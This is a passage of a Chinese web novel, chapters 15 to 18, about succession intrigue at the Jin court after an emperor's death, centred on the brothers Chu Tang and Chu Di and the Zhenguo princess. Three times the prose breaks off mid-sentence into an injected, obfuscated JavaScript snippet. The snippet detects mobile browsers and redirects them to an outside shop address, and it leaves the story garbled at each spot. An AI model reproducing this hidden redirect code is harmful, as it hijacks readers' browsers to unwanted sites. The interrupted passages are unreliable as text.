他心中大感快慰，细细端详儿子片刻，瞳孔忽然有些涣散。 殿外，声音越来越清晰，他费力撑开双眼张望，却总不见人影。他问：“舅舅，回长安了么？”声音低去不少。 楚棠顿住。 他又说：“舅舅为何，不回长安？”气若游丝。不等人至，一口气出完，既溘然长逝。 最后一刻，他还枕在她膝上。 楚棣扑倒在他身上哭喊：“父亲！父亲！” 论起丧父之痛，楚棠自比楚棣痛上百倍，因他眼里，父母不是帝后，他亦不是太子——他是这对彼此珍爱的夫妇，应愿而来的孩子。 但这时候，他不能像个孩子。 他起身至剑架，抽出帝王佩剑按在腰间，冷静地望向殿门，竟连一丝忐忑也没有。 片刻后，殿外内侍长呼：“冠军侯到！” 光影明灭，晦暗不清，连接内外两殿的走道极黑。不等宣召，那整齐的脚步声和甲胄声已汇成巨响，强势地逼近。 楚棣循声而望，黑暗中，人影憧憧，一束光渐次从众将领身上扫过，犹如天神降世般，肃穆庄严。 已然哭不出声，情不自禁地望向出口。 一行进入内殿，方看清来人是宋蔺，一身甲胄一领披风，一手托住虎符，于太子面前止步。 楚棠按住剑，气急攻心，大喝：“你怎么来得这么迟！你父亲呢？快诏他来！陛下晏驾前一直在等他——” 宋蔺心头一震，喉头一紧，立刻跪地道：“父亲远在九原，不知圣人病重，故而并未启程回京。”稍顿，“请太子殿下节哀。” 一众将官同声齐声道。 楚棠稍安，顾不得问责了，单是怨恨地望定他： “父皇骤然发病，身边只有我们母子三人，幸而继位一事早已公诸朝野，加以亲笔继位诏书，不至争议。只是事发突然，未来得及召见重臣申明辅佐事宜，本宫恐朝中有人借机生事。恳请三叔留下虎符，与众将军一并解甲休息，在宫中等待明日朝会。” 宋蔺听了，大吃一惊：“什么？” 楚棠略一沉吟：“请冠军侯留下帅印，解甲休息。” 早年间，宋蔺与他颇有嫌隙，可自几年前一道去淮南平叛后就已和平，谈不上亲厚，也不至疏远。眼下局势未明，他神情语气都淡淡的，宋蔺疑心殿内埋伏，念及生事必定连累身后将士，只好不甘地双手奉上。 其实虎符与否，对他并不重要，重要的是，他在军中威望极高，早已不仅是名义上的将领。 15. 相知无远近 殿内没有丝毫异响，诸将领在宋蔺身后交汇着目光，但觉莫名，又不敢拂新君之命，只得默默等待他或谁再开口。 太子喜文治，自其四年前监国开始，朝中便自军事为重，逐步转变为政为主、军事为次的从属关系。先通过伐谋、伐交，平息对外战争，待邦交稳定，再行内政考核，裁撤军中冗员，质素尚可者，依据军功择优安排或发还原籍。 他们早已领教过其中厉害，心有不忿，却不敢口出怨言。 楚棣看向宋蔺，想唤他来看父亲一眼，可碍于兄长的威严，也只好等。他揉去眼泪，死也想不出太子为何要急在这一刻收回虎符，分明父亲临终之言是‘不在虎符强权，要人心归顺’。 此种做法，一来有违大孝之礼，二来惹镇国公主与臣工不快，朝中若是因此动荡，岂非因小失大？ 楚棠很镇定，上前十分庄重地，向众将官拱手做揖道： “诸位将军星夜赶回，宫中未能备宴接风洗尘，实为不妥。楚棠自幼学习庶务而疏于军事，实乃平生一大憾事。然则我朝以兵强天下，幸而胞弟年少聪慧，学之不晚，楚棠愿在先帝灵前将胞弟托付给诸位将军，让他在军中摔打摔打，将来与诸位将军共同安定天下。” 内侍端来酒水，他拿去一口饮尽，“敢请接受楚棠不情之请。” 楚棣深知，眼下不是闹脾气的时候，看母亲一眼，立刻起身走到楚棠身后，有样学样地对众将官深深一躬。 宋蔺虽为表叔但更是臣子，见二人诚心，便端过酒，爽朗应下：“宋蔺但听吩咐。” “但听太子殿下吩咐！”将官们齐声应和，也都各饮一杯。 “棣儿，你来。”楚棠定定看楚棣一眼，叮嘱道：“夜深了，你领三叔去武德殿休息，明日再来为父皇守灵。” “是。”楚棣双目泛红，走到宋蔺身边。 宋蔺竭力望去那屏风后，只能见得窦皇后模糊的影子，不禁心中难过。他与窦皇后不睦，此时若不遵上命，贸然过去，只是火上浇油。算了，只要太子能顺利登基，那就天下太平。 内侍已领众将官出殿，他不做声，转身要走，身后楚棠忽然出言质问： “耶耶驾崩，你一点也不难过吗？”孩子似的。 宋蔺与楚棠自幼一起长大，性情却天差地别，一个是一窍不通昆吾石，一个是水晶心肝玻璃人，从未和平相处片刻，口角自不必说了，未入仕前，追追打打亦是常事。 宋蔺是镇国公主与九原侯幼子，出生时，父母正如日中天——母亲把持朝政，父亲四处征战，捷报频传，为朝廷打下立国三百年来最大的疆土，位极人臣。 在赫赫扬扬的富贵场中，他是唯一一个无需逢迎便可享尽尊荣的人，因此那为人处事和石头差不多，除了楚棠，谁也不敢欺负他。 他被楚棠欺负的多，自诩不会被轻易激怒，回身看向他，诚心道：“我很难过，但今晚事多，我至今都是稀里糊涂的。” “事多，”楚棠嘲弄道：“哭不出来？” 宋蔺不耐烦：“你管我什么时候哭！”然后转身朝殿外：“棣儿，我们走。” 楚棣早已习惯他们如此相处，加快脚步追上去，仰头问道：“三叔，你生他的气吗？” 宋蔺只问：“归还虎符是不是圣人的意思？” “不是，”楚棣解释道：“父亲想见舅公，也许有话要交代吧。” 宋蔺颇为不快，心想那又是他自作主张。转头问：“你这些日子都要和我睡武德殿？” “是。楚棣小心翼翼：“今晚睡前，我能和你说说话吗？” “不能，我不想听你说你哥哥的不是。”宋蔺一向快人快语，这厢沉吟片刻，竟然说：“他为人讨厌，我从前恨不能和他一刀两断，可是这不对，我生来就是要为你父兄效忠的。” “三叔，你怎么也......”楚棣不甘心。 “不瞒你说，棣儿，在你十四五岁的时候，我曾想过扶植你。” “后来呢？” 说话功夫，二人已至武德殿中，屏退宫人内侍后，楚棣脱去鞋袜坐到榻上，宋蔺在一边卸甲。 “后来我发现你根本不是那块料，也就死心了。” “......” 楚棣一向认为自己不输楚棠，但宋蔺明明是偏心他的，却也如此评价，难免让他五味杂陈。到这一刻，他才开始细想那日在东宫所受的责骂。 宋蔺继续道： “你们是帝后亲生亲养，只学习顺序与精研方向不同，虽是圣人有意为之，但实际取决于你们的性情和天赋。” “三叔所言极是。于儒、道、墨、法、兵五家里，我最喜欢道家，其次是兵家和墨家。分明与父亲相似，与太子相悖，可是父亲不用我，却想要太子登基后用我，这不矛盾吗？” “因我父亲喜战，圣人幼时深受影响，穷兵黩武地打了三十余年，国土虽然有所扩张，可是国库亏空厉害，多地加重税赋补缺，以致民不聊生，两相抵消，竟连为国取利都不曾做到。太子自年少时便与圣人于此处多有摩擦，屡次请求停战不说，更是反对大打灭国之战。不过我觉得很好。等他登基，带领国家休养生息才是正理。” “侄儿有一事不明，恳请三叔拆解。” “你说。” “我不久前在东宫看见新舆图，年前平定的几座城池中有一处在界河中游，由三叔平定后，界河上游尽归我国所有，水路四通八达，贸易往来频繁，于税收上颇有进项，况且又是通衢之地，只可惜易攻难守。假若将来圣人有心出兵邻国，我们借河道之利，只需攻下一城，即可长驱直入攻其国都。这三十余年征战，如此的城池、河道、关隘，似乎不在少数，岂可不算于国有利？” “今日平定，明日失守，如此反反复复，不仅将士浴血、劳民伤财，而且，不论攻守俱不长久，细算一笔便知损失大于得利。依着我来，若没有打灭国之战的决心，是不该攻打这地方的。要是——” “要是什么？” “能以口舌之力讨得此地，方为上策。” “哪有这么轻巧的事。再说了，你是武将，不打仗如何延续满门荣耀？” “官阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120121|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、荣耀都是虚的，生不带来，死不带去。我只愿天下太平，能让我时时刻刻陪伴妻女，寸步不离。” “父亲说三叔是国之柱石，三叔一心却只系于妻女，羞不羞也？” “我妻生我女，乃上天劝诫我宋蔺远离沙场，不可再行不义之战。顺应天意，何羞之有？女儿黛黛活泼可爱，我只愿她以自我存世，何须为官阶、荣耀自苦？” “若黛黛身为男子呢？” “读书游历足矣。” “不像真话。” “你少诈我。” 楚棣悻悻低头，看他一眼，知道没什么打紧，继续说： “三叔，我没那个意思，我是为你不平。你看他，明明该对你百般尊重，可眼下父亲尸骨未寒，他就当众为难你，你为他说尽好话，这是为什么？我一点也不明白。” “废话，我不为他说好话，难道撺掇你们兄弟阋墙拉我下水吗？那我岂不成了一国祸害。” “哦，原来三叔图的也是身前身后名。” “对啊，我疼你一场，你可别做没良心的事。” “你疼侄儿，侄儿心里都记着。” “别只是记着，你总有一天会像我一样。” “那倒是，旁人说我性情和你最像。” “我知道你爱他、敬他，最怕他，但是，他对你算是很好了。” “真的吗？我不觉得。” “那不然呢，被他刻薄上的，早已是黄土枯骨了。” “唉，你不知道，父亲临终前给了我一卷圣旨。”他盯着宋蔺，“不让我打开，我也不知道写了什么，他说我们兄弟离心皆他之过，也许是对我的弥补吧。我若使用得当，大概一生一世无所事事也能极尽荣耀，不像三叔你、来迟一步，不仅什么都没有，还被缴去虎符。不过你跟侄儿不一样，你军功卓著，虽然往后会受些猜忌，但是免去我这般无风无浪的痛苦，日子还是很精彩的。” 宋蔺知道他葫芦里卖的药，“哧”的笑一声，自拧好帕子擦过脸放下，坐到榻上去，开了口：“少说废话，我困得很，想睡了。你睡哪边？” “睡那边。”楚棣指向左边较大空榻，起身去洗脸。 热气覆在脸上，他忽然想到幼时，父亲带他们去骊山围猎，夜里，父子三人安置在一处。 父亲坐在中间，问：“你们要睡哪里？” 他坐在左边大床上，抢答：“我睡这里。” 楚棠看书不动，父亲只是笑：“小孩子，睡大床。”然后抱他进被窝里掖好被角。 后来，他们越长越大，那样的时刻再没有了。 楚棣眼睛热热的，眼泪不听话、一直流，止也止不住。失魂落魄地走到榻上，侧身躺下，他多想刚才有人说他一句“小孩子，睡大床。” 宋蔺听见轻微的声响，没有问，因他也哭了，眼泪流进鬓角里。他这一路累得厉害，悄默声淌会儿泪便睡死过去。 殿内极静，静得连呼吸声也没有。 一点一滴，流泪到天明——楚棣如此的，度过了人生里第一个没有父亲的夜晚。 16. 相看恍如昨 已是卯时一刻，天色阴翳。殿内灯火通明，当值的内侍宫人俱已换上素服，身上戴孝，站成两列，分别端着水盆、帕子、漱口盅、孝服等等，候立在旁。 上玉站在榻边，先看对面宋蔺没醒，楚棣颊上两道泪痕蜿蜒，端的凄凉。一时不忍将他叫醒，思忖半晌，仍蹲去一边轻搡一边唤他。 楚棣昏昏沉沉，但觉眼皮很重，睁得艰难。 他一坐起来，上玉就递过热帕子，覆在面上，热气氤氲，极舒服。耳边传来上玉的声音，很轻很低： “殿下，姑娘不见了。” “什么时候的事？” “自太极殿退下后便没回过宜春院。” “那魏缨呢？” “一切如常。” 楚棣觉出情况不对，但一时得不出结论，只得先搁下，由宫人侍奉穿鞋、洗漱、更衣、束发，披麻戴孝。忽地想起，昨夜东宫下令太极宫戒严，将所有宫人内侍暂且看押，也许茉莉就在其中，问道： “东宫诏令你听说了？ “嗯。” “即刻命人暗中查找，若到午时还没消息再来报我。” “是。”退出殿去。 楚棣收拾妥当，走到宋蔺榻边，喊道：“三叔。” 宋蔺没有丝毫反应。 楚棣蹲下，见他满脸通红，额上满是汗珠，立刻用手背一探，可了不得了。急喊：“快传太医！冠军侯发高热了！” 想是近日劳累和伤心的缘故，宋蔺昨夜刚一睡下便开始发作，浑身发软，口干舌燥，连喊的力气都没有。 一名内侍领命，急匆匆地跑出去，片刻后，上玉去而复返，“殿下，时辰到了，先去守灵吧。” 外头越来越亮，楚棣冲他一点头：“那边来催了？” “倒是没有。”上玉欠身相随，一道往外走，“圣人梓宫已停至甘露殿，听说太子足足守了一夜，直等到如意公主，方去侧殿休息。” 如意公主单名一个葵字，乃帝后幼女，年方十七。去岁，友邦新帝登基，派遣使者入朝，求如意入国为后，圣人不舍，便谎称女儿在青龙寺带发修行。 因做戏，如意必去寺内清修，但怪就怪在，自打回宫，她就真正皈依一般，常在佛堂诵经禅定，更每隔十天半月就央求父母让她去寺里短住。 若非圣人晏驾，这一回，如意还不见得会很快回来。 宫城内外，目之所及皆已素色，分外冷清，只有甘露殿内外跪满皇嗣、皇亲和几名近臣，低泣声连成一片，纸钱刺鼻的气味在空气中弥漫开来，久久无法散去。 楚棣快步走进殿中，恭恭敬敬地跪在楚棠身后，环顾四周，并没有看见如意，这才低声问：“妹妹呢？” 楚棠低声道：“在里面陪阿娘。我问你，宋蔺昨夜可发脾气了？” “没有。”楚棣看着他的背心，略有不满，请示一般，“他病了，是不是该派人去看看？” 楚棠思忖片刻：“那是自然。”随即向一旁招手，等林华来到身侧，低声吩咐道：“先命冠军侯妻女入宫陪伴，待她们出府，再去镇国公主府，就说...宋蔺高热至今未醒，没有别的。”说时一顿，显然没有想好。 林华不解，楚棣更是，他们都知道太子此举不妥，宋蔺向来规矩，太子却以他一家三口试探镇国公主，不知是为日后弹压铺垫，还是眼下有利可图？ 虽是泥菩萨过江，但楚棣忍不住，“公主宋侯下野多年，不问政事，百官公卿尽皆信服兄长，今又持虎符在手，兄长定能顺利登基。既然大局已定，如此行事，是否有咄咄逼人之嫌？” 楚棠越听，面色越阴沉，慢慢捏紧了拳头。 “殿下？”林华唤道。 楚棠不应声，约莫一弹指功夫，神色已恢复如常，语气平淡地说：“百足之虫，死而不僵。” 楚棣心道，太子并非冲动之人，而今却急吼吼的，不尊父亲遗命，欲作何为？当时想驳，但想不定，故选择闭嘴。 “大局已定，定在哪里？”楚棠像个考官，“一一说与我听。” 楚棣讪讪道：“定在前半句。”犹有不服。 楚棠轻轻一笑：“那你去公主府吧，看看府里是不是你想象中那般清净。” “可是，”楚棣迟疑片刻，想着请命守灵，到底却说：“遵命。”起身与林华一道出宫，压力重重，不知如何是好。 他的政治直觉并不迟钝，甚至能算敏锐，但太子做的三件事，每一件都让他出乎意料——面对奸臣、佞臣，挟其家人自然可行，但宋蔺效忠国家，对他亦是忠心耿耿，于情于理都不该受如此对待。 这种不明不白，像一股白烟，蒙蔽他的双眼。宦海沉浮，若无人指点迷津，那于政事上，当真是瞎子过河，摸不着边了。 “棣儿，”在楚棣起身后，楚棠终于开口：“你且在路上好好想想。你的话是实情、也有些道理，但太过依赖于旁人的心性品德，足见其险，而我们，是最不该冒险的人。” “多谢兄长指点，小弟先行告退。”走了几步，楚棣忽然转身回去：“殿下可有下诏宋侯回京？” “我暂未想定此事，你有成算？” “没有，小弟告退。” 楚棠顿感欣慰，这么多年，他总算愿意为兄解忧了。 黑马沿街缓辔而行，这一路上，楚棣脑子里总冒出些怪念头，不着边际，却都指向太子——桩桩件件，简直要把他仅存的仁、义、礼、智、信都给揣测没了。 杂念恼人，在被它吞噬以前，楚棣已停在镇国公主府前，神魂归位，心思澄明。 照壁外停满香车宝马，装饰素净，堵得街道水泻不通，楚棣挤进府里，见廊下、院中，到处站着服色不一的官员，或焦急、或沉默、或高声、低声地讨论着，相同的是，他们都在等候公主召见。 直到楚棣走近，声音才越来越低，直至安静。 众人目光相接，异口同声道：“臣等参见二殿下。” 楚棣见状，腔子像被什么堵着，有些不快，故而没有应声。直到此刻，他才意识到父亲的高明之处，再一想太子之言，不禁两颊发烫。也是，来都来了，便硬着头皮进去，至内院花厅方停。 花厅方方正正，宽敞明亮，布置异常简洁，除几样绿植以外，只设两套紫光檀桌案座椅，案上置放玉瓶，插满初开的白山茶。 楚棣一落座，使女就端来几样小瓷碟，俱盛的素食，不仅有稀有干，还合他一惯的口味，鲜甜清淡。坐得实在饿了，便夹上两筷子，但悬着心，吃不好。抬头见使女眼熟，开口问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120122|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ： “姐姐慢走，姑祖母现在何处？” “回殿下，公主在卧房养病呢。” “怎会如此？”楚棣心知肚明，这多半是推辞，状似焦急道：“三叔昨夜在宫中病倒，至今未醒，怎么公主也......” 使女面色如常：“公主听闻陛下晏驾，病乃急火攻心所致，府内医官瞧过，并无大碍。”打量片刻，问道：“殿下可还有别的事情？” “没有。”楚棣定定望向二门，忽然潸然泪下：“我只是想在姑祖母这里休息一刻。” “殿下，”使女欲言又止。 “若是不能，那我这便告退。”楚棣作势起身。 使女忙把楚棣按下，“请殿下节哀。您别急，奴婢这就去回禀公主。” 楚棣拱手一礼：“多谢姐姐。” 一边等，一边吃，只是想到父亲此刻冷冰冰地躺在棺椁中，楚棣的眼泪就更关不住了，一阵一阵地，把两颊烫得生疼，心里也又闷又痛。 楚棣原是来做戏的，眼下戏未开场、观众未至，他便真情流露，哭得涕泗横流、昏天黑地了。 “不能哭。”楚棣一次一次抹泪，在心里告诉自己：“等一切尘埃落定，有的是时候哭。” 这时，那使女又来至花厅，安慰道：“殿下莫要哭了，叫公主看见会心疼呢。” 楚棣眼前一亮，猛然起身，“姑祖母愿意见我了？” 使女点头：“殿下请随奴婢来吧。” 竹林虚掩院门，廊下摆着一套紫光檀桌椅，镇国公主着一身素衫，不饰钗环，长发松松挽起，坐在廊下用膳。 楚棣立于在阶下，深深躬身一礼：“姑祖母金安。” 镇国公主眼皮子也不抬，只说：“棣儿，来，坐下陪我说话。” 楚棣走近了，方看清桌上另有一副碗筷，想是为他提前备下的，坐下关切道：“姑祖母，您身体好些了吗？” 镇国公主不太好—— 楚繁年幼时，一直在她膝下承欢。每年春日夜游大明宫，必会亲手采下盛开的牡丹，不拘数量、颜色，送入府中，择一两朵簪在她的鬓边。末了，要说些孩子话：“姑姑，你真像一个皇后。” 她总是说：“姑姑是公主，不是皇后。” “但内侍说牡丹是花王，后宫女子，只有皇后可以牡丹自比。”楚繁解释道：“姑姑是王女，也是女王，比做牡丹也无妨。” 她会笑盈盈地问：“等到将来，繁儿可会娶一位牡丹一样的女子？” 楚繁面孔一红，看着她，不可置否地点头。 无数个天真烂漫的时刻，织就她的回忆，因此，楚繁先是她最疼爱的侄子，然后才是大晋的皇帝。 是夜，钟声定格时，她自梦中醒来，心头像被生生剜去一块，只留下一个空洞模糊的缺口，在风雨中翻出血泪。 不知为何，那种错愕与悲痛并不长久，堪堪小半个时辰，她便分外安详地睡去，直至天明。 青年尾声，膝下双子年少横死，那痛彻心扉的无数个日夜，万幸有楚繁相伴，移情以做安慰。今朝圣人晏驾，又是白发人送黑发人，个中滋味，说不清，道不明，几乎要她的命。 这厢，冷不丁地看见楚棣，她却觉得、觉得，分明是年少的楚繁。 17. 当时明月在 镇国公主欣喜道：“繁儿，”拉住他的手，眸中泪光闪闪，“繁儿，你怎么在这里？” 楚棣吃了一惊，双目圆睁，忘记吭声。 女官忙上前，“公主，这是二殿下，不是陛下。” 楚棣满心惶恐：“姑祖母，我是棣儿呀！” “棣儿？”镇国公主神情恍惚，手上力道渐小，失落道：“你是棣儿。”目光悄然移至别处，少顷恢复清明。 眼前这张青涩稚嫩的脸，渐渐叠上回忆里模糊的影子。 像有什么用？终究不是他呀。直到这一刻，她才真正接受侄子离世的事实。 “姑祖母，”楚棣哽咽着，说不出话。 “棣儿，你害怕？” 楚棣抬手用力一擦眼泪，不做声。 镇国公主问：“风闻太子患有手足之疾，目下可有良药能医？” 知道公主疼他，楚棣十分高兴，但一想到外院情形，心里就生出一番计较。故佝起身子，抬手抹泪： “姑祖母不必担心，父亲去前给了孙儿一张药方，药性强劲，效力极好。不好的是，昨夜三叔入宫，太子旧疾复发，当时只以一味丸药压制，只恐效力不够，要是这几日发作起来，不知道要如何折腾、折腾到几时才算完。” 镇国公主却是轻轻一笑：“楚棠旧疾已入膏肓，那药可不好找。” “姑祖母，心病还需心药医。您素来偏疼太子，何不为他寻一良方？根治此疾。” “棣儿所言甚是。此事姑祖母确已筹谋许久，只缺一味药引。此药引一要无毒，二要他尽数相信。你知道他，满身不可告人的秘密，我给的东西，他如何肯受用？” 楚棣闻言，心慢慢定了，一双眼红彤彤的，望定公主，下定决心后，肃然拱手道：“姑祖母若不嫌弃，孙儿愿意一试。” 镇国公主虽深居简出，但对朝政和太子极为了解——太子忌惮她已久，来日登基颁布新国策，不论从何处开刀，肯定的是，必有一刀落到她身上。 国人共知，太子为天赋之君，今已羽翼丰满，欲折其双翼，恐怕会两败俱伤，不得善终。臣工登门求见时，她想过，与其放手博未知的胜负，不如割肉保已知的荣华。 楚棣自告奋勇，欲做医治新君的良药，的确是好，但终究不妥。从中调停会收来权柄，他身份特殊，处境尴尬，要是轻易尝到甜头，恐怕就要移心改性了。 决计不可。 镇国公主温声道：“棣儿坐下。姑祖母且问你，可有良策？” 这份迟疑或者考验，楚棣能懂，故不弄玄虚，一抒胸中块垒： “姑祖母为太宗爱女，少年时即才兼文武、胜于须眉，历经三朝，多年摄政，几番救国于水火，故受封镇国公主，虽已下野，但对庙堂仍存翻覆之力。今陛下晏驾，百官不安于于室，齐聚公主府中，太子何能安心？若因此两相猜疑，生出事端，国家何能安宁？父皇临终前告我‘一国衰败，常自血肉相残开始’，孙儿深以为然。今孙儿之所想，实不算良策，唯愿公主归祭，与新君面谈，若能为他主持登基大典，则更锦上添花。此所谓昭告天下，公主与新君，骨血相连，同心同德也！” “哈哈哈......”镇国公主笑他年轻，但到底是欣慰的： “姑祖母且告诉你，自你母后入主中宫，便对两府多加忌惮，太子耳濡目染，忌惮更甚。我虽历经三朝，但终究是一介妇人，纵然成事，也难以位列九五，百官在此关头入府拜见，实为个人前程担忧，并非真心归顺。” “大晋以武立国，历经三百余年，先帝登基时，内有臣工疑心生乱，外有邦国欺他年幼，屡屡来犯，那时只能重用武将，以战事胜利振奋人心，安定内患，此来，国中方能推行文治，培养士人，以做制衡。如此便已很好。” “四年前，太子监国，不循祖制，重文黜武，惹得行伍中怨声载道。今陛下崩逝，太子尚未登基，以军功立足的世族，安能不为祖上荣光博上一博？此所谓‘天下熙熙，皆为利来’，无关对我忠诚归顺。” 一番话鞭辟入里，如一阵清风，将楚棣眼前迷雾吹散了几分。 “姑祖母所言甚是，孙儿受教。”楚棣面有疑色，不好再劝公主，只能转开话题： “眼下北方两个邻国交战，依孙儿愚见，三叔行军迅猛，颇有霸王之风，若能借此契机，在两三年内将两国吞并，以便将来大晋谋求天下不说，三叔此生功业也将因此登峰造极。然而，朝中行此文长武衰之策，对三叔多有不利，三叔却十分赞许，这是为何？” 镇国公主但觉以往看轻他了，摇头叹道“姑祖母竟不知我棣儿有此大志。” “不是，”楚棣脸颊绯红，连忙亢声解释：“棣儿实不懂三叔所想。” “听棣儿之言，仿佛宋蔺每战必胜，是他一人之功。然而，沙场征战真如此简单么？非也，非也！战功彪炳背后是将士浴血、战备齐全、后勤到位、前朝决策、百姓民心所共同铸就。先帝在位三十余年，文治不足富民，武功以战养战，不值得大肆歌功颂德。一则天下之大，掠之不尽；二则有道者居之。师出无名，何人信服？以不义之战掠夺他国土地城池，国难强，民难安，纵然九州列国揽于怀中，君王又有何意趣可言？依我看来，将来新君即位推行文治休兵罢战，大晋方能有锐意进取之日。一切一切，徐徐图之，切不可操之过急。” 楚棣没想到今日有此收获——公主不会接见百官，亦不存翻覆朝政之念。 “姑祖母一心为国，是孙儿狭隘了。”他兴奋道：“待孙儿回宫，必将今日所言原封不动转告太子，太子旧疾必愈！” 一桩事了，一桩事来，这满院官员如何处置？真真是一桩难题。父亲临终嘱托他拿回南衙，瞧着黜庙堂之武势在必行，若无军功在身，他在军中恐难有立锥之地，如何能取代宋蔺？前路漫漫也。 这时，女官自房中捧来一柄黑铁汉剑，放到桌上。驸马宋邯被驱逐离开长安时，早料到今日诸事，夫妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120123|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人深谈过后，一致认为太子术治纯熟，主张于国有利，更有知人善用的大德，实为上才，不可轻言废黜。是下了死心保扶他上位的。 又说国家稳定，在君臣一心，因此叮嘱母子二人需得做到“贞静”二字。贞者，志节坚定，操守方正；静者，安定有序，求理义之必然。 这些年来，公主和宋蔺一直遵从他的意愿，处处避让以求安宁，只是太子促狭，抑或故意视之不见，终于到这地步，要她一个长辈低头言和，因为这是解开心结的最佳时机，也是最后时机。 院中一片寂静，镇国公主将汉剑推与楚棣，叮嘱道：“将此剑奉与新君。” “姑祖母，这是......”楚棣接过放好，想起父亲临终之时，眼眶忽的红了，“孙儿有一事相求。” “你说。”镇国公主应道。 “舅公与父亲亲如父子，”楚棣泪流不止，哽咽道：“孙儿恳请、恳请姑祖母让舅公回京归祭，父亲泉下有知，定能、定能心安。” “什么？繁儿想见他舅舅？”镇国公主惊讶了。 楚棣吸了吸鼻子：“是，父亲弥留之际连问两遍‘舅舅为何不回长安’。” 过往恩怨闪过心间，镇国公主感慨万千，“昔日要赶他走，今日又要他回来，何苦来哉！” 楚棣猛地跪倒，“姑祖母，孙儿求您了。” 镇国公主叹息一声，向女官吩咐：“立刻修书一封，请驸马回京奔丧。” 女官道：“公主，九原距长安一千六百余里，驸马年事已高，若是星夜赶回，一路风尘，只怕于身心无益。” “不管了，即刻修书送去。” “是。”女官领命，退身而去。 “多谢姑祖母垂怜。”楚棣重重一磕，直到被人扶起，仍感慨道：“孙儿贸然登门，叨扰姑祖母了，原本只为传一句话，但与姑祖母一番对谈，胜过昔年苦读之功。正所谓‘朝闻道，夕可死矣’，真不枉此生了。好在孙儿年少，将来还可如姑祖母和三叔一般，为国为民，鞠躬尽瘁。” 镇国公主审视着他，语调变得迟缓淡漠： “棣儿，论政见权谋，你是中常；论品行心性，你远胜新君，有成大事的坚韧与仁德。若能潜心精研政务，将来必为大晋肱骨之臣。只是，你这一向不在朝中，为何认定新君之政气象不佳？” 楚棣一阵深思，却发现，说不清道不明，垂下脑袋：“孙儿心里很乱，不知该怎么说。” 镇国公主宽慰道：“棣儿，不要担心，你可如实告我。” 楚棣默然良久，再抬头，几乎有些愤慨： “只有一点，我与楚棠一母同胞，他贵为一国太子，我却除了出生时的份例封赏，别的一概没有，我安能服气？” 听闻此言，镇国公主满心劝告全埋下去，若楚棣说出一番为国为民的道理，她会一一为他拆解，可这是孩子话呀！孩子是听不进劝告的。 故而，她只是深叹一气，没再言语半句。 18. 用舍由时 将近午时，甘露殿外白雾笼罩，低泣连成一片，楚棣思绪清明，平静地经过人群。 这一趟，终于让楚棣看清东宫与公主府矛盾所在，应该说，府上那一幕，足以让他知道什么是“主少国疑，大臣未附”，幸之又幸的是，公主此刻并无争心。 可是太子一连几个决断都表明了他的态度：一则宫中戒严，以断绝消息传递；二则不遵先帝遗命，不诏公主和宋邯奔丧；三则急收帅印，软禁宋蔺一家。桩桩件件，防备至深，不留情面。 这让楚棣感到为难，感到迷茫，更感到心酸。 他跪于灵前，在心中控诉： “父亲啊父亲，你临死都在为太子谋划，却把我当什么？你计划中的一枚棋子么？未来渺渺茫茫，你要儿子斡旋于新君和公主府，是想要儿子的命么？ 你可看见儿子这番来去，没人拂我的意，也没人顺我的意，尴不尴尬也？今日我自做主张请宋邯归祭，你可开心？此举能中太子下怀么，要是不中，将来他会如何发落我？ 你在天有灵，给太子托个梦，叫他算了吧。儿子快要累死了！” 想到将来还要为太子奔波，楚棣面色更沉，摸起手边纸钱，拆也不拆，一股脑往火盆里送。 楚棠正思虑国事，被浓烟一呛，立刻掩起口鼻，低声怒问：“楚棣，你干什么！” 楚棣大惊失色，赶紧放下纸钱，“臣弟一时走神，请太子勿怪。” “事办得怎么样？”楚棠问了。 楚棣垂着脑袋：“话已带到，对，姑祖母让我把这剑给你。”说罢，从身边取过长剑，厚重趁手，剑柄、剑鞘刻着浅浅的花纹，需得指腹摩挲，方知是夔龙纹。 楚棠登时心中大定，一声清音，长剑出鞘，剑身青光闪闪，七八寸长，端的削铁如泥。 楚棣问：“姑祖母这是何意？” “此乃太宗赐爱女护身之剑，楚晋老臣无一不识，无一不认。” “如此说来，姑祖母低头了。”楚棣思忖片刻，想到宋邯归祭是自己先斩后奏，免不得心里打鼓，“臣弟还有两件事要禀明殿下。” “说吧。”楚棠心情一好，来了兴致。 楚棣长长地吸一口气，恭敬道： “第一件，臣弟请公主为殿下主持登基大典，以此笼络臣工不附之心。第二件，臣弟请公主修书命驸马宋邯回京归祭，以待来日施行新政后牵头平息军中异议。” 东宫起用后进整顿吏治，多不得世族老臣之心，楚棠曾想请公主为他加冕，以免登基一事节外生枝。再者，将来整顿军事，必有阻力，宋邯在军中根基深厚，若有他出面游说，必能减少推行政策之阻力。 可是，自己曾多次要置他于死地，他何愿甘心效力？ 